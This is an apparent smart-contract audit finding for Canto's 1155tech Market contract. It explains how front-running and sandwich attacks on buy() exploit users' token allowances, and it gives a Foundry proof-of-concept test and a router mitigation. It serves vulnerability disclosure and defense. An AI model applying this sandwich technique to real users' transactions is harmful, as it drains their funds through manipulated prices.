Canto Application Specific Dollars and Bonding Curves for 1155s - 0xMango's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150

Vulnerability details

Impact

Because the exact amount of allowance a user needs to mint his desired amount of shares isnt always a round number as shown via the market.getBuyPrice(_id, _amount);. There could be users who might trust the contract blind & approve their entire balance in order to call market.buy(_id, _amount);. Another way, to accumulate a surplus of allowance, would be by calling it multiple times over time. On the other hand, more careful users, who might want to approve the exact amount of tokens in order to mint the exact amount of shares for the value the calculate prior via market.getBuyPrice(_id, _amount);, could get their transaction fail, by malicious validators minting 1 share & increasing the price in the next transaction. This is especially bad because the approval would not be insufficient to mint the desired _amount.

Lastly, a regular sandwhich attack can be made whenever users with surplus allowance for the market contract, call buy.

Proof of Concept

function testFrontRunPrice() public {
        testCreateNewShare();
        token.transfer(makeAddr("Alice"), 250e18);
        token.transfer(makeAddr("Bob"), 100e18);
        // Initial Share buyer:
        token.approve(address(market), 10e18);
        market.buy(1, 3);

        vm.prank(makeAddr("Alice"));
        token.approve(address(market), 100e18);
        market.buy(1, 30);  // 569866666666666661

        /*
        Bob approves his entire balance to call the buy function, since he does not bother
        to check how much the price + fee would amount to. He gives the market 100e18 of allowance.
        The total price, he would have to pay to get 100 shares, would be: 6160116666666666632 -> 6.161 Token
        Because there is a surplus in approvals, be it because of calling approve() many times, or
        approving the entire balance just to get the buy() call to work, can lead to sandwich attacks.

        Because the attacker's buy() tx got mined before his, the state of shareCount was increase & therefore
        the amount to pay for bob. The amount he ends up paying is: 8492152380952380906 -> 8.5 Token
        */
        vm.prank(makeAddr("Bob"));
        token.approve(address(market), 100e18);
        market.buy(1, 100);
        vm.prank(makeAddr("Alice"));
        // Alice claims fees before calling sell()
        market.sell(1, 30);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Using a router contract could help wrap the core buy(_id, _amount); function calls in order to ensure that the shareCount value is the same as the one calculated one tx before or a close enough value, such to make an abstract ceiling of tokens that could be spent.

Assessed type

MEV